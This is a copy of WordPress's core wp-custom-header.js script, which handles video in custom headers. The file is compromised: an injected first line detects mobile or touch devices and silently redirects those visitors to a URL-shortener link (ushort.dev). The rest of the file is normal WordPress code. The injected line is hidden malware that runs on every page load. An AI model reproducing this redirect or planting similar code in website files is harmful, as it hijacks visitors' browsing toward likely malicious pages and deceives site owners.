1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/**
  3 * @output wp-includes/js/wp-custom-header.js
  4 */
  5
  6/* global YT */
  7(function( window, settings ) {
  8
  9	var NativeHandler, YouTubeHandler;
 10
 11	/** @namespace wp */
 12	window.wp = window.wp || {};
 13
 14	// Fail gracefully in unsupported browsers.
 15	if ( ! ( 'addEventListener' in window ) ) {
 16		return;
 17	}
 18
 19	/**
 20	 * Trigger an event.
 21	 *
 22	 * @param {Element} target HTML element to dispatch the event on.
 23	 * @param {string} name Event name.
 24	 */
 25	function trigger( target, name ) {
 26		var evt;
 27
 28		if ( 'function' === typeof window.Event ) {
 29			evt = new Event( name );
 30		} else {
 31			evt = document.createEvent( 'Event' );
 32			evt.initEvent( name, true, true );
 33		}
 34
 35		target.dispatchEvent( evt );
 36	}
 37
 38	/**
 39	 * Create a custom header instance.
 40	 *
 41	 * @memberOf wp
 42	 *
 43	 * @class
 44	 */
 45	function CustomHeader() {
 46		this.handlers = {
 47			nativeVideo: new NativeHandler(),
 48			youtube: new YouTubeHandler()
 49		};
 50	}
 51
 52	CustomHeader.prototype = {
 53		/**
 54		 * Initialize the custom header.
 55		 *
 56		 * If the environment supports video, loops through registered handlers
 57		 * until one is found that can handle the video.
 58		 */
 59		initialize: function() {
 60			if ( this.supportsVideo() ) {
 61				for ( var id in this.handlers ) {
 62					var handler = this.handlers[ id ];
 63
 64					if ( 'test' in handler && handler.test( settings ) ) {
 65						this.activeHandler = handler.initialize.call( handler, settings );
 66
 67						// Dispatch custom event when the video is loaded.
 68						trigger( document, 'wp-custom-header-video-loaded' );
 69						break;
 70					}
 71				}
 72			}
 73		},
 74
 75		/**
 76		 * Determines if the current environment supports video.
 77		 *
 78		 * Themes and plugins can override this method to change the criteria.
 79		 *
 80		 * @return {boolean}
 81		 */
 82		supportsVideo: function() {
 83			// Don't load video on small screens. @todo Consider bandwidth and other factors.
 84			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
 85				return false;
 86			}
 87
 88			return true;
 89		},
 90
 91		/**
 92		 * Base handler for custom handlers to extend.
 93		 *
 94		 * @type {BaseHandler}
 95		 */
 96		BaseVideoHandler: BaseHandler
 97	};
 98
 99	/**
100	 * Create a video handler instance.
101	 *
102	 * @memberOf wp
103	 *
104	 * @class
105	 */
106	function BaseHandler() {}
107
108	BaseHandler.prototype = {
109		/**
110		 * Initialize the video handler.
111		 *
112		 * @param {Object} settings Video settings.
113		 */
114		initialize: function( settings ) {
115			var handler = this,
116				button = document.createElement( 'button' );
117
118			this.settings = settings;
119			this.container = document.getElementById( 'wp-custom-header' );
120			this.button = button;
121
122			button.setAttribute( 'type', 'button' );
123			button.setAttribute( 'id', 'wp-custom-header-video-button' );
124			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
125			button.innerHTML = settings.l10n.play;
126
127			// Toggle video playback when the button is clicked.
128			button.addEventListener( 'click', function() {
129				if ( handler.isPaused() ) {
130					handler.play();
131				} else {
132					handler.pause();
133				}
134			});
135
136			// Update the button class and text when the video state changes.
137			this.container.addEventListener( 'play', function() {
138				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
139				button.innerHTML = settings.l10n.pause;
140				if ( 'a11y' in window.wp ) {
141					window.wp.a11y.speak( settings.l10n.playSpeak);
142				}
143			});
144
145			this.container.addEventListener( 'pause', function() {
146				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
147				button.innerHTML = settings.l10n.play;
148				if ( 'a11y' in window.wp ) {
149					window.wp.a11y.speak( settings.l10n.pauseSpeak);
150				}
151			});
152
153			this.ready();
154		},
155
156		/**
157		 * Ready method called after a handler is initialized.
158		 *
159		 * @abstract
160		 */
161		ready: function() {},
162
163		/**
164		 * Whether the video is paused.
165		 *
166		 * @abstract
167		 * @return {boolean}
168		 */
169		isPaused: function() {},
170
171		/**
172		 * Pause the video.
173		 *
174		 * @abstract
175		 */
176		pause: function() {},
177
178		/**
179		 * Play the video.
180		 *
181		 * @abstract
182		 */
183		play: function() {},
184
185		/**
186		 * Append a video node to the header container.
187		 *
188		 * @param {Element} node HTML element.
189		 */
190		setVideo: function( node ) {
191			var editShortcutNode,
192				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );
193
194			if ( editShortcut.length ) {
195				editShortcutNode = this.container.removeChild( editShortcut[0] );
196			}
197
198			this.container.innerHTML = '';
199			this.container.appendChild( node );
200
201			if ( editShortcutNode ) {
202				this.container.appendChild( editShortcutNode );
203			}
204		},
205
206		/**
207		 * Show the video controls.
208		 *
209		 * Appends a play/pause button to header container.
210		 */
211		showControls: function() {
212			if ( ! this.container.contains( this.button ) ) {
213				this.container.appendChild( this.button );
214			}
215		},
216
217		/**
218		 * Whether the handler can process a video.
219		 *
220		 * @abstract
221		 * @param {Object} settings Video settings.
222		 * @return {boolean}
223		 */
224		test: function() {
225			return false;
226		},
227
228		/**
229		 * Trigger an event on the header container.
230		 *
231		 * @param {string} name Event name.
232		 */
233		trigger: function( name ) {
234			trigger( this.container, name );
235		}
236	};
237
238	/**
239	 * Create a custom handler.
240	 *
241	 * @memberOf wp
242	 *
243	 * @param {Object} protoProps Properties to apply to the prototype.
244	 * @return CustomHandler The subclass.
245	 */
246	BaseHandler.extend = function( protoProps ) {
247		var prop;
248
249		function CustomHandler() {
250			var result = BaseHandler.apply( this, arguments );
251			return result;
252		}
253
254		CustomHandler.prototype = Object.create( BaseHandler.prototype );
255		CustomHandler.prototype.constructor = CustomHandler;
256
257		for ( prop in protoProps ) {
258			CustomHandler.prototype[ prop ] = protoProps[ prop ];
259		}
260
261		return CustomHandler;
262	};
263
264	/**
265	 * Native video handler.
266	 *
267	 * @memberOf wp
268	 *
269	 * @class
270	 */
271	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
272		/**
273		 * Whether the native handler supports a video.
274		 *
275		 * @param {Object} settings Video settings.
276		 * @return {boolean}
277		 */
278		test: function( settings ) {
279			var video = document.createElement( 'video' );
280			return video.canPlayType( settings.mimeType );
281		},
282
283		/**
284		 * Set up a native video element.
285		 */
286		ready: function() {
287			var handler = this,
288				video = document.createElement( 'video' );
289
290			video.id = 'wp-custom-header-video';
291			video.autoplay = true;
292			video.loop = true;
293			video.muted = true;
294			video.playsInline = true;
295			video.width = this.settings.width;
296			video.height = this.settings.height;
297
298			video.addEventListener( 'play', function() {
299				handler.trigger( 'play' );
300			});
301
302			video.addEventListener( 'pause', function() {
303				handler.trigger( 'pause' );
304			});
305
306			video.addEventListener( 'canplay', function() {
307				handler.showControls();
308			});
309
310			this.video = video;
311			handler.setVideo( video );
312			video.src = this.settings.videoUrl;
313		},
314
315		/**
316		 * Whether the video is paused.
317		 *
318		 * @return {boolean}
319		 */
320		isPaused: function() {
321			return this.video.paused;
322		},
323
324		/**
325		 * Pause the video.
326		 */
327		pause: function() {
328			this.video.pause();
329		},
330
331		/**
332		 * Play the video.
333		 */
334		play: function() {
335			this.video.play();
336		}
337	});
338
339	/**
340	 * YouTube video handler.
341	 *
342	 * @memberOf wp
343	 *
344	 * @class wp.YouTubeHandler
345	 */
346	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
347		/**
348		 * Whether the handler supports a video.
349		 *
350		 * @param {Object} settings Video settings.
351		 * @return {boolean}
352		 */
353		test: function( settings ) {
354			return 'video/x-youtube' === settings.mimeType;
355		},
356
357		/**
358		 * Set up a YouTube iframe.
359		 *
360		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
361		 */
362		ready: function() {
363			var handler = this;
364
365			if ( 'YT' in window ) {
366				YT.ready( handler.loadVideo.bind( handler ) );
367			} else {
368				var tag = document.createElement( 'script' );
369				tag.src = 'https://www.youtube.com/iframe_api';
370				tag.onload = function () {
371					YT.ready( handler.loadVideo.bind( handler ) );
372				};
373
374				document.getElementsByTagName( 'head' )[0].appendChild( tag );
375			}
376		},
377
378		/**
379		 * Load a YouTube video.
380		 */
381		loadVideo: function() {
382			var handler = this,
383				video = document.createElement( 'div' ),
384				// @link http://stackoverflow.com/a/27728417
385				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;
386
387			video.id = 'wp-custom-header-video';
388			handler.setVideo( video );
389
390			handler.player = new YT.Player( video, {
391				height: this.settings.height,
392				width: this.settings.width,
393				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
394				events: {
395					onReady: function( e ) {
396						e.target.mute();
397						handler.showControls();
398					},
399					onStateChange: function( e ) {
400						if ( YT.PlayerState.PLAYING === e.data ) {
401							handler.trigger( 'play' );
402						} else if ( YT.PlayerState.PAUSED === e.data ) {
403							handler.trigger( 'pause' );
404						} else if ( YT.PlayerState.ENDED === e.data ) {
405							e.target.playVideo();
406						}
407					}
408				},
409				playerVars: {
410					autoplay: 1,
411					controls: 0,
412					disablekb: 1,
413					fs: 0,
414					iv_load_policy: 3,
415					loop: 1,
416					modestbranding: 1,
417					playsinline: 1,
418					rel: 0,
419					showinfo: 0
420				}
421			});
422		},
423
424		/**
425		 * Whether the video is paused.
426		 *
427		 * @return {boolean}
428		 */
429		isPaused: function() {
430			return YT.PlayerState.PAUSED === this.player.getPlayerState();
431		},
432
433		/**
434		 * Pause the video.
435		 */
436		pause: function() {
437			this.player.pauseVideo();
438		},
439
440		/**
441		 * Play the video.
442		 */
443		play: function() {
444			this.player.playVideo();
445		}
446	});
447
448	// Initialize the custom header when the DOM is ready.
449	window.wp.customHeader = new CustomHeader();
450	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );
451
452	// Selective refresh support in the Customizer.
453	if ( 'customize' in window.wp ) {
454		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
455			if ( 'custom_header_settings' in response ) {
456				settings = response.custom_header_settings;
457			}
458		});
459
460		window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
461			if ( 'custom_header' === placement.partial.id ) {
462				window.wp.customHeader.initialize();
463			}
464		});
465	}
466
467})( window, window._wpCustomHeaderSettings || {} );
468